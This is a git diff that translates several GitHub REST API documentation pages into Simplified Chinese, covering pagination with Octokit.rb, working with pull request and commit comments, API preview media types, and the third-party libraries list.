+您不希望仅仅为了能够处理分页而进行低级的 curl 调用，所以我们来编写一个 Ruby 小脚本来完成上述所有任务。
 
-As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library, and
-pass in our [personal access token][personal token]:
+与往常一样，首选我们需要使用 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库，并传递我们的 [个人访问令牌][personal token]：
 
 ``` ruby
 require 'octokit'
@@ -119,26 +89,16 @@ require 'octokit'
 client = Octokit::Client.new :access_token => ENV['MY_PERSONAL_TOKEN']
 ```
 
-Next, we'll execute the search, using Octokit's `search_code` method. Unlike
-using `curl`, we can also immediately retrieve the number of results, so let's
-do that:
+接下来，我们将使用 Octokit 的 `search_code` 方法执行搜索。 与使用 `curl` 不同的是，我们还可以立即检索结果数量，所以我们输入以下代码：
 
 ``` ruby
 results = client.search_code('addClass user:mozilla')
 total_count = results.total_count
 ```
 
-Now, let's grab the number of the last page, similar to `page=34>; rel="last"`
-information in the link header. Octokit.rb support pagination information through
-an implementation called "[Hypermedia link relations][hypermedia-relations]."
-We won't go into detail about what that is, but, suffice to say, each element
-in the `results` variable has a hash called `rels`, which can contain information
-about `:next`, `:last`, `:first`, and `:prev`, depending on which result you're
-on. These relations also contain information about the resulting URL, by calling
-`rels[:last].href`.
+现在，我们来获取最后一页的页码 - 类似于链接标头中的 `page=34>; rel="last"` 信息。 Octokit.rb 通过“[超媒体连接关系][hypermedia-relations]”的实现来支持分页信息。 我们不会对这种关系展开详细讨论，只想提醒您，`results` 变量中的每个元素都有一个被称为 `rels` 的哈希，它可能包含有关 `:next`、`:last`、`:first` 和 `:prev` 的信息，具体取决于您所得结果。 这些关系还包含通过调用 `rels[:last].href` 所得 URL 的相关信息。
 
-Knowing this, let's grab the page number of the last result, and present all
-this information to the user:
+知道了这一点后，我们来获取最后一个结果的页码，并将所有这些信息呈现给用户：
 
 ``` ruby
 last_response = client.last_response
@@ -147,13 +107,7 @@ number_of_pages = last_response.rels[:last].href.match(/page=(\d+).*$/)[1]
 puts "There are #{total_count} results, on #{number_of_pages} pages!"
 ```
 
-Finally, let's iterate through the results. You could do this with a loop `for i in 1..number_of_pages.to_i`,
-but instead, let's follow the `rels[:next]` headers to retrieve information from
-each page. For the sake of simplicity, let's just grab the file path of the first
-result from each page. To do this, we'll need a loop; and at the end of every loop,
-we'll retrieve the data set for the next page by following the `rels[:next]` information.
-The loop will finish when there is no `rels[:next]` information to consume (in other
-words, we are at `rels[:last]`). It might look something like this:
+最后，我们来遍历结果。 您可以使用 `for i in 1..number_of_pages.to_i` 循环进行浏览，但我们这次将根据 `rels[:next]` 标头来检索每一页的信息。 为简单起见，我们只获取每个页面中第一个结果的文件路径。 为此，我们需要一个循环；在每个循环的最后，我们根据 `rels[:next]` 信息来检索下一页的数据集。 当没有 `rels[:next]` 信息可用时（也就是说，我们到达了 `rels[:last]`），循环将结束。 如下所示：
 
 ``` ruby
 puts last_response.data.items.first.path
@@ -163,9 +117,7 @@ until last_response.rels[:next].nil?
 end
 ```
 
-Changing the number of items per page is extremely simple with Octokit.rb. Simply
-pass a `per_page` options hash to the initial client construction. After that,
-your code should remain intact:
+使用 Octokit.rb 更改每页的条目数非常简单。 只需将 `per_page` 选项哈希传递给初始客户端构造函数。 之后，您的代码应保持不变：
 
 ``` ruby
 require 'octokit'
@@ -192,17 +144,15 @@ until last_response.rels[:next].nil?
 end
 ```
 
-## Constructing Pagination Links
+## 构造分页链接
 
-Normally, with pagination, your goal isn't to concatenate all of the possible
-results, but rather, to produce a set of navigation, like this:
+一般来说，使用分页时，您的目标不是要抓住所有可能的结果，而是要产生一组导航，如下所示：
 
-![Sample of pagination links](/assets/images/pagination_sample.png)
+![分页链接示例](/assets/images/pagination_sample.png)
 
-Let's sketch out a micro-version of what that might entail.
+让我们勾勒出一个可能需要做什么的微观版本。
 
-From the code above, we already know we can get the `number_of_pages` in the
-paginated results from the first call:
+根据上面的代码，我们已经知道可以从第一次调用的分页结果中获取 `number_of_pages`。
 
 ``` ruby
 require 'octokit'
@@ -221,7 +171,7 @@ puts last_response.rels[:last].href
 puts "There are #{total_count} results, on #{number_of_pages} pages!"
 ```
 
-From there, we can construct a beautiful ASCII representation of the number boxes:
+我们可以从其中构造美观的数字框 ASCII 表示形式：
 ``` ruby
 numbers = ""
 for i in 1..number_of_pages.to_i
@@ -230,8 +180,7 @@ end
 puts numbers
 ```
 
-Let's simulate a user clicking on one of these boxes, by constructing a random
-number:
+我们通过构造一个随机数来模拟用户单击其中一个框：
 
 ``` ruby
 random_page = Random.new
@@ -240,15 +189,13 @@ random_page = random_page.rand(1..number_of_pages.to_i)
 puts "A User appeared, and clicked number #{random_page}!"
 ```
 
-Now that we have a page number, we can use Octokit to explicitly retrieve that
-individual page, by passing the `:page` option:
+现在我们有了页码，可通过传递 `:page` 选项，使用 Octokit 明确检索各个页面：
 
 ``` ruby
 clicked_results = client.search_code('addClass user:mozilla', :page => random_page)
 ```
 
-If we wanted to get fancy, we could also grab the previous and next pages, in
-order to generate links for back (`<<`) and forward (`>>`) elements:
+如果我们想弄得花哨一些，还可以抓住上下页，以生成后退 (`<<`) 和前进 (`>>`) 元素的链接：
 
 ``` ruby
 prev_page_href = client.last_response.rels[:prev] ? client.last_response.rels[:prev].href : "(none)"
@@ -258,9 +205,7 @@ puts "The prev page link is #{prev_page_href}"
 puts "The next page link is #{next_page_href}"
 ```
 
-[pagination]: /rest#pagination
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/traversing-with-pagination
 [octokit.rb]: https://github.com/octokit/octokit.rb
 [personal token]: /articles/creating-an-access-token-for-command-line-use
 [hypermedia-relations]: https://github.com/octokit/octokit.rb#pagination
-[listing commits]: /rest/reference/commits#list-commits
diff --git a/translations/zh-CN/content/rest/guides/working-with-comments.md b/translations/zh-CN/content/rest/guides/working-with-comments.md
index 3b5736faea..abbaa25843 100644
--- a/translations/zh-CN/content/rest/guides/working-with-comments.md
+++ b/translations/zh-CN/content/rest/guides/working-with-comments.md
@@ -1,6 +1,6 @@
 ---
-title: Working with comments
-intro: 'Using the REST API, you can access and manage comments in your pull requests, issues, or commits.'
+title: 处理注释
+intro: 使用 REST API，您可以访问和管理拉取请求、议题或提交中的注释。
 redirect_from:
   - /guides/working-with-comments
   - /v3/guides/working-with-comments
@@ -15,27 +15,17 @@ topics:
 
 
 
-For any Pull Request, {% data variables.product.product_name %} provides three kinds of comment views:
-[comments on the Pull Request][PR comment] as a whole, [comments on a specific line][PR line comment] within the Pull Request,
-and [comments on a specific commit][commit comment] within the Pull Request. 
+对于任何拉取请求，{% data variables.product.product_name %} 都提供三种注释视图：作为整体的[拉取请求注释][PR comment]、拉取请求中的[特定行注释][PR line comment] 和拉取请求中的[特定提交注释][commit comment]。
 
-Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.
-In this guide, we'll explore how you can access and manipulate each one. For every
-example, we'll be using [this sample Pull Request made][sample PR] on the "octocat"
-repository. As always, samples can be found in [our platform-samples repository][platform-samples].
+每种类型的评论都会经过 API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} 的不同部分。 在本指南中，我们将探讨如何访问和处理每种注释。 对于每个示例，我们将使用在 "octocat" 仓库中[创建的样本拉取请求][sample PR]。 同样，您可以在[我们的平台样本仓库][platform-samples]中找到样本。
 
-## Pull Request Comments
+## 拉取请求注释
 
-To access comments on a Pull Request, you'll go through [the Issues API][issues].
-This may seem counterintuitive at first. But once you understand that a Pull
-Request is just an Issue with code, it makes sense to use the Issues API to
-create comments on a Pull Request.
+要访问拉取请求的注释，需要通过[议题 API][issues]。 乍一看这似乎不符合直觉。 但是，一旦您理解了拉取请求只是一个带有代码的议题，使用议题 API 来创建拉取请求注释就合情合理了。
 
-We'll demonstrate fetching Pull Request comments by creating a Ruby script using
-[Octokit.rb][octokit.rb]. You'll also want to create a [personal access token][personal token].
+我们将通过使用 [Octokit.rb][octokit.rb] 创建一个 Ruby 脚本来演示如何获取拉取请求注释 您还需要创建[个人访问令牌][personal token]。
 
-The following code should help you get started accessing comments from a Pull Request
-using Octokit.rb:
+以下代码应该可以帮助您开始使用 Octokit.rb 访问拉取请求中的注释：
 
 ``` ruby
 require 'octokit'
@@ -53,18 +43,13 @@ client.issue_comments("octocat/Spoon-Knife", 1176).each do |comment|
 end
 ```
 
-Here, we're specifically calling out to the Issues API to get the comments (`issue_comments`),
-providing both the repository's name (`octocat/Spoon-Knife`), and the Pull Request ID
-we're interested in (`1176`). After that, it's simply a matter of iterating through
-the comments to fetch information about each one.
+在这里，我们专门调用议题 API 来获取注释 (`issue_comments`)，同时提供仓库名称 (`octocat/Spoon-Knife`) 和我们感兴趣的拉取请求 ID (`1176`)。 之后，只需遍历注释以获取有关每个注释的信息即可。
 
-## Pull Request Comments on a Line
+## 拉取请求行注释
 
-Within the diff view, you can start a discussion on a particular aspect of a singular
-change made within the Pull Request. These comments occur on the individual lines
-within a changed file. The endpoint URL for this discussion comes from [the Pull Request Review API][PR Review API].
+在差异视图中，您可以开始讨论在拉取请求中进行的某个更改的特定方面。 这些注释出现在已更改文件中的各个行上。 此讨论的端点 URL 来自[拉取请求审查 API][PR Review API]。
 
-The following code fetches all the Pull Request comments made on files, given a single Pull Request number:
+以下代码将获取文件中所做的所有拉取请求注释（给定一个拉取请求编号）：
 
 ``` ruby
 require 'octokit'
@@ -84,19 +69,13 @@ client.pull_request_comments("octocat/Spoon-Knife", 1176).each do |comment|
 end
 ```
 
-You'll notice that it's incredibly similar to the example above. The difference
-between this view and the Pull Request comment is the focus of the conversation.
-A comment made on a Pull Request should be reserved for discussion or ideas on
-the overall direction of the code. A comment made as part of a Pull Request review should
-deal specifically with the way a particular change was implemented within a file.
+您会注意到，它与上面的示例非常相似。 此视图与拉取请求注释之间的不同之处在于对话的焦点。 对拉取请求的注释应予以保留，以供讨论或就代码的总体方向提出意见。 在拉取请求审查中所做的注释应该以在文件中实施特定更改的方式进行专门处理。
 
-## Commit Comments
+## 提交注释
 
-The last type of comments occur specifically on individual commits. For this reason,
-they make use of [the commit comment API][commit comment API].
+最后一类注释专门针对单个提交。 For this reason, they make use of [the commit comment API][commit comment API].
 
-To retrieve the comments on a commit, you'll want to use the SHA1 of the commit.
-In other words, you won't use any identifier related to the Pull Request. Here's an example:
+要检索对提交的注释，您需要使用该提交的 SHA1。 换句话说，您不能使用与拉取请求相关的任何标识符。 例如：
 
 ``` ruby
 require 'octokit'
@@ -114,8 +93,7 @@ client.commit_comments("octocat/Spoon-Knife", "cbc28e7c8caee26febc8c013b0adfb97a
 end
 ```
 
-Note that this API call will retrieve single line comments, as well as comments made
-on the entire commit.
+请注意，此 API 调用将检索单行注释以对整个提交所做的注释。
 
 [PR comment]: https://github.com/octocat/Spoon-Knife/pull/1176#issuecomment-24114792
 [PR line comment]: https://github.com/octocat/Spoon-Knife/pull/1176#discussion_r6252889
diff --git a/translations/zh-CN/content/rest/index.md b/translations/zh-CN/content/rest/index.md
index 789e0c3023..d27742aeca 100644
--- a/translations/zh-CN/content/rest/index.md
+++ b/translations/zh-CN/content/rest/index.md
@@ -6,19 +6,19 @@ introLinks:
   quickstart: /rest/guides/getting-started-with-the-rest-api
 featuredLinks:
   guides:
-  - /rest/guides/getting-started-with-the-rest-api
-  - /rest/guides/basics-of-authentication
-  - /rest/guides/best-practices-for-integrators
+    - /rest/guides/getting-started-with-the-rest-api
+    - /rest/guides/basics-of-authentication
+    - /rest/guides/best-practices-for-integrators
   popular:
-  - /rest/overview/resources-in-the-rest-api
-  - /rest/overview/other-authentication-methods
-  - /rest/overview/troubleshooting
-  - /rest/overview/endpoints-available-for-github-apps
-  - /rest/overview/openapi-description
+    - /rest/overview/resources-in-the-rest-api
+    - /rest/overview/other-authentication-methods
+    - /rest/overview/troubleshooting
+    - /rest/overview/endpoints-available-for-github-apps
+    - /rest/overview/openapi-description
   guideCards:
-  - /rest/guides/delivering-deployments
-  - /rest/guides/getting-started-with-the-checks-api
-  - /rest/guides/traversing-with-pagination
+    - /rest/guides/delivering-deployments
+    - /rest/guides/getting-started-with-the-checks-api
+    - /rest/guides/traversing-with-pagination
 changelog:
   label: 'api, apis'
 layout: product-landing
diff --git a/translations/zh-CN/content/rest/overview/api-previews.md b/translations/zh-CN/content/rest/overview/api-previews.md
index 7cd8e65bb0..3e4a79093f 100644
--- a/translations/zh-CN/content/rest/overview/api-previews.md
+++ b/translations/zh-CN/content/rest/overview/api-previews.md
@@ -1,6 +1,6 @@
 ---
-title: API previews
-intro: You can use API previews to try out new features and provide feedback before these features become official.
+title: API 预览
+intro: 您可以使用 API 预览来试用新功能并在这些功能正式发布之前提供反馈。
 redirect_from:
   - /v3/previews
 versions:
@@ -13,232 +13,210 @@ topics:
 ---
 
 
-API previews let you try out new APIs and changes to existing API methods before they become part of the official GitHub API.
+API 预览允许您试用新的 API 以及对现有 API 方法的更改（在它们被纳入正式的 GitHub API 之前）。
 
-During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice.
+在预览期间，我们可以根据开发者的反馈更改某些功能。 如果我们要执行变更，将在[开发者博客](https://developer.github.com/changes/)上宣布消息，不会事先通知。
 
-To access an API preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the `Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide.
+要访问 API 预览，需要在 `Accept` 标头中为您的请求提供自定义[媒体类型](/rest/overview/media-types)。 每个预览的功能文档可指定要提供的自定义媒体类型。
 
 {% ifversion ghes < 3.3 %}
 
-## Enhanced deployments
+## 增强型部署
 
-Exercise greater control over [deployments](/rest/reference/repos#deployments) with more information and finer granularity.
+使用更多信息和更精细的方式更好地控制[部署](/rest/reference/repos#deployments)。
 
-**Custom media type:** `ant-man-preview`
-**Announced:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/)
+**自定义媒体类型：** `ant-man-preview` **公布日期：** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Reactions
+## 反应
 
-Manage [reactions](/rest/reference/reactions) for commits, issues, and comments.
+管理对提交、议题和注释的[反应](/rest/reference/reactions)。
 
-**Custom media type:** `squirrel-girl-preview`
-**Announced:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/)
-**Update:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/)
+**自定义媒体类型：** `squirrel-girl-preview` **公布日期：** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) **更新日期：** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Timeline
+## 时间表
 
-Get a [list of events](/rest/reference/issues#timeline) for an issue or pull request.
+获取针对议题或拉取请求的[事件列表](/rest/reference/issues#timeline)。
 
-**Custom media type:** `mockingbird-preview`
-**Announced:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/)
+**自定义媒体类型：** `mockingbird-preview` **公布日期：** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/)
 
 {% endif %}
 
 {% ifversion ghes %}
-## Pre-receive environments
+## 预接收环境
 
-Create, list, update, and delete environments for pre-receive hooks.
+创建、列出、更新和删除预接收挂钩的环境。
 
-**Custom media type:** `eye-scream-preview`
-**Announced:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments)
+**自定义媒体类型：** `eye-scream-preview` **公布日期：** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments)
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
-## Projects
+## 项目
 
-Manage [projects](/rest/reference/projects).
+管理[项目](/rest/reference/projects)。
 
-**Custom media type:** `inertia-preview`
-**Announced:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/)
-**Update:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/)
+**自定义媒体类型：** `inertia-preview` **公布日期：** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) **更新日期：** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Commit search
+## 提交搜索
 
-[Search commits](/rest/reference/search).
+[搜索提交](/rest/reference/search)。
 
-**Custom media type:** `cloak-preview`
-**Announced:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/)
+**自定义媒体类型：** `cloak-preview` **公布日期：** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Repository topics
+## 仓库主题
 
-View a list of [repository topics](/articles/about-topics/) in [calls](/rest/reference/repos) that return repository results.
+在返回仓库结果的[调用](/rest/reference/repos)中查看[仓库主题](/articles/about-topics/)列表。
 
-**Custom media type:** `mercy-preview`
-**Announced:** [2017-01-31](https://github.com/blog/2309-introducing-topics)
+**自定义媒体类型：** `mercy-preview` **公布日期：** [2017-01-31](https://github.com/blog/2309-introducing-topics)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Codes of conduct
+## 行为准则
 
-View all [codes of conduct](/rest/reference/codes-of-conduct) or get which code of conduct a repository has currently.
+查看[所有行为准则](/rest/reference/codes-of-conduct)或获取仓库的当前行为准则。
 
-**Custom media type:** `scarlet-witch-preview`
+**自定义媒体类型：** `scarlet-witch-preview`
 
 {% endif %}
 
 {% ifversion ghae or ghes %}
 
-## Global webhooks
+## 全局 web 挂钩
 
-Enables [global webhooks](/rest/reference/enterprise-admin#global-webhooks/) for  [organization](/webhooks/event-payloads/#organization) and [user](/webhooks/event-payloads/#user) event types. This API preview is only available for {% data variables.product.prodname_ghe_server %}.
+为[组织](/webhooks/event-payloads/#organization)和[用户](/webhooks/event-payloads/#user)事件类型启用[全局 web 挂钩](/rest/reference/enterprise-admin#global-webhooks/)。 此 API 预览仅适用于 {% data variables.product.prodname_ghe_server %}。
 
-**Custom media type:** `superpro-preview`
-**Announced:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks)
+**自定义媒体类型：** `superpro-preview` **公布日期：** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Require signed commits
+## 要求签名提交
 
-You can now use the API to manage the setting for [requiring signed commits on protected branches](/rest/reference/repos#branches).
+现在，您可以使用 API 来管理[要求在受保护的分支上进行签名提交](/rest/reference/repos#branches)的设置。
 
-**Custom media type:** `zzzax-preview`
-**Announced:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures)
+**自定义媒体类型：** `zzzax-preview` **公布日期：** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Require multiple approving reviews
+## 要求多次审批
 
-You can now [require multiple approving reviews](/rest/reference/repos#branches) for a pull request using the API.
+现在，您可以使用 API [要求多次审批](/rest/reference/repos#branches)拉取请求。
 
-**Custom media type:** `luke-cage-preview`
-**Announced:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews)
+**自定义媒体类型：** `luke-cage-preview` **公布日期：** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews)
 
 {% endif %}
 
 
 {% ifversion ghes %}
 
-## Anonymous Git access to repositories
+## 对仓库的匿名 Git 访问
 
-When a {% data variables.product.prodname_ghe_server %} instance is in private mode, site and repository administrators can enable anonymous Git access for a public repository.
+当 {% data variables.product.prodname_ghe_server %} 实例处于私有模式时，站点和仓库管理员可以为公共仓库启用匿名 Git 访问。
 
-**Custom media type:** `x-ray-preview`
-**Announced:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/)
+**自定义媒体类型：** `x-ray-preview` **公布日期：** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/)
 
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Project card details
+## 项目卡详细信息
 
-The REST API responses for [issue events](/rest/reference/issues#events) and [issue timeline events](/rest/reference/issues#timeline) now return the `project_card` field for project-related events.
+REST API 对[议题事件](/rest/reference/issues#events)和[议题时间表事件](/rest/reference/issues#timeline)的响应现在可返回项目相关事件的 `project_card` 字段。
 
-**Custom media type:** `starfox-preview`
-**Announced:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events)
+**自定义媒体类型：** `starfox-preview` **公布日期：** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events)
 
 {% endif %}
 {% ifversion fpt or ghec %}
 
-## GitHub App Manifests
+## GitHub 应用程序清单
 
-GitHub App Manifests allow people to create preconfigured GitHub Apps. See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" for more details.
+GitHub 应用程序清单允许用户创建预配置的 GitHub 应用程序。 更多信息请参阅“[从清单创建 GitHub 应用程序](/apps/building-github-apps/creating-github-apps-from-a-manifest/)”。
 
-**Custom media type:** `fury-preview`
+**自定义媒体类型：** `fury-preview`
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Deployment statuses
+## 部署状态
 
-You can now update the `environment` of a [deployment status](/rest/reference/deployments#create-a-deployment-status) and use the `in_progress` and `queued` states. When you create deployment statuses, you can now use the `auto_inactive` parameter to mark old `production` deployments as `inactive`.
+现在，您可以更新[部署状态](/rest/reference/deployments#create-a-deployment-status)的 `environment` 并使用 `in_progress` 和 `queued` 状态。 创建部署状态时，现在可以使用 `auto_inactive` 参数将旧的 `production` 部署标记为 `inactive`。
 
-**Custom media type:** `flash-preview`
-**Announced:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/)
+**自定义媒体类型：** `flash-preview` **公布日期：** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Repository creation permissions
+## 仓库创建权限
 
-You can now configure whether organization members can create repositories and which types of repositories they can create. See "[Update an organization](/rest/reference/orgs#update-an-organization)" for more details.
+现在，您可以配置组织成员是否可以创建仓库以及他们可以创建哪些类型的仓库。 更多信息请参阅“[更新组织](/rest/reference/orgs#update-an-organization)”。
 
-**Custom media types:** `surtur-preview`
-**Announced:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
+**自定义媒体类型：** `surtur-preview` **公布日期：** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
 
 {% endif %}
 
 {% ifversion ghes < 3.4 %}
-## Content attachments
+## 内容附件
 
-You can now provide more information in GitHub for URLs that link to registered domains by using the {% data variables.product.prodname_unfurls %} API. See "[Using content attachments](/apps/using-content-attachments/)" for more details.
+现在，您可以在 GitHub 中使用 {% data variables.product.prodname_unfurls %} API 提供有关链接到注册域的 URL 的更多信息。 更多信息请参阅“[使用内容附件](/apps/using-content-attachments/)”。
 
-**Custom media types:** `corsair-preview`
-**Announced:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/)
+**自定义媒体类型：** `corsair-preview` **公布日期：** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/)
 
 {% endif %}
 {% ifversion ghae or ghes < 3.3 %}
 
-## Enable and disable Pages
+## 启用和禁用页面
 
-You can use the new endpoints in the [Pages API](/rest/reference/repos#pages) to enable or disable Pages. To learn more about Pages, see "[GitHub Pages Basics](/categories/github-pages-basics)".
+您可以使用[页面 API](/rest/reference/repos#pages) 中的新端点来启用或禁用页面。 要了解有关页面的更多信息，请参阅“[GitHub Pages 基础知识](/categories/github-pages-basics)”。
 
-**Custom media types:** `switcheroo-preview`
-**Announced:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/)
+**自定义媒体类型：** `switcheroo-preview` **公布日期：** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## List branches or pull requests for a commit
+## 列出提交的分支或拉取请求
 
-You can use two new endpoints in the [Commits API](/rest/reference/repos#commits) to list branches or pull requests for a commit.
+您可以使用[提交 API](/rest/reference/repos#commits) 中的两个新端点来列出提交的分支或拉取请求。
 
-**Custom media types:** `groot-preview`
-**Announced:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/)
+**自定义媒体类型：** `groot-preview` **公布日期：** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/)
 
 {% endif %}
 
 {% ifversion ghes < 3.3 %}
 
-## Update a pull request branch
+## 更新拉取请求分支
 
-You can use a new endpoint to [update a pull request branch](/rest/reference/pulls#update-a-pull-request-branch) with changes from the HEAD of the upstream branch.
+您可以使用新的端点根据上游分支的 HEAD 更改来[更新拉取请求分支](/rest/reference/pulls#update-a-pull-request-branch)。
 
-**Custom media types:** `lydian-preview`
-**Announced:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/)
+**自定义媒体类型：** `lydian-preview` **公布日期：** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/)
 
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## Create and use repository templates
+## 创建和使用仓库模板
 
-You can use a new endpoint to [Create a repository using a template](/rest/reference/repos#create-a-repository-using-a-template) and [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user) that is a template repository by setting the `is_template` parameter to `true`. [Get a repository](/rest/reference/repos#get-a-repository) to check whether it's set as a template repository using the `is_template` key.
+您可以使用新的端点来[利用模板创建仓库](/rest/reference/repos#create-a-repository-using-a-template)，并通过将 `is_template` 参数设置为 `true`，[为经过身份验证的用户创建模板仓库](/rest/reference/repos#create-a-repository-for-the-authenticated-user)。 [获取仓库](/rest/reference/repos#get-a-repository)以检查是否使用 `is_template` 键将其设置为模板仓库。
 
-**Custom media types:** `baptiste-preview`
-**Announced:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/)
+**自定义媒体类型：** `baptiste-preview` **公布日期：** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/)
 {% endif %}
 {% ifversion ghes < 3.3 %}
 
-## New visibility parameter for the Repositories API
+## 仓库 API 的新可见性参数
 
-You can set and retrieve the visibility of a repository in the [Repositories API](/rest/reference/repos).
+您可以在[仓库 API](/rest/reference/repos) 中设置和检索仓库可见性。
 
-**Custom media types:** `nebula-preview`
-**Announced:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
+**自定义媒体类型：** `nebula-preview` **公布日期：** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/)
 {% endif %}
diff --git a/translations/zh-CN/content/rest/overview/libraries.md b/translations/zh-CN/content/rest/overview/libraries.md
index 0128487f72..e0048f8af6 100644
--- a/translations/zh-CN/content/rest/overview/libraries.md
+++ b/translations/zh-CN/content/rest/overview/libraries.md
@@ -1,6 +1,6 @@
 ---
-title: Libraries
-intro: 'You can use the official Octokit library and other third-party libraries to extend and simplify how you use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.'
+title: 库
+intro: '您可以使用官方的 Octokit 库和其他第三方库来扩展和简化您使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 的方式。'
 redirect_from:
   - /libraries
   - /v3/libraries
@@ -14,9 +14,9 @@ topics:
 ---
 
 <div class="jumbotron libraries-jumbotron">
-  <img src="/assets/images/gundamcat.png" class="gundamcat" alt="The Gundamcat" />
-  <h1>Octokit comes in many flavors</h1>
-  <p class="lead">Use the official Octokit library, or choose between any of the available third party libraries.</p>
+  <img src="/assets/images/gundamcat.png" class="gundamcat" alt="Gundamcat" />
+  <h1>Octokit 风格多样</h1>
+  <p class="lead">使用官方的 Octokit 库，或者使用任何适用的第三方库。</p>
   <div class="octokit-links"><br/>
      <div class="octokit-language"> <span>Ruby → </span><a href="https://github.com/octokit/octokit.rb">octokit.rb</a></div><br/>
      <div class="octokit-language"><span>.NET → </span> <a href="https://github.com/octokit/octokit.net">octokit.net</a></div><br/>
@@ -24,130 +24,130 @@ topics:
   </div>
 </div>
 
-# Third-party libraries
+# 第三方库
 
 ### Clojure
 
-| Library name | Repository |
-|---|---|
-|**Tentacles**| [Raynes/tentacles](https://github.com/Raynes/tentacles)|
+| 库名称           | 仓库                                                      |
+| ------------- | ------------------------------------------------------- |
+| **Tentacles** | [Raynes/tentacles](https://github.com/Raynes/tentacles) |
 
 ### Dart
 
-| Library name | Repository |
-|---|---|
-|**github.dart** | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart)|
+| 库名称             | 仓库                                                                      |
+| --------------- | ----------------------------------------------------------------------- |
+| **github.dart** | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart) |
 
 ### Emacs Lisp
 
-| Library name | Repository |
-|---|---|
-|**gh.el**    | [sigma/gh.el](https://github.com/sigma/gh.el)|
+| 库名称       | 仓库                                            |
+| --------- | --------------------------------------------- |
+| **gh.el** | [sigma/gh.el](https://github.com/sigma/gh.el) |
 
 ### Erlang
 
-| Library name | Repository |
-|---|---|
-|**octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl)|
+| 库名称          | 仓库                                                      |
+| ------------ | ------------------------------------------------------- |
+| **octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl) |
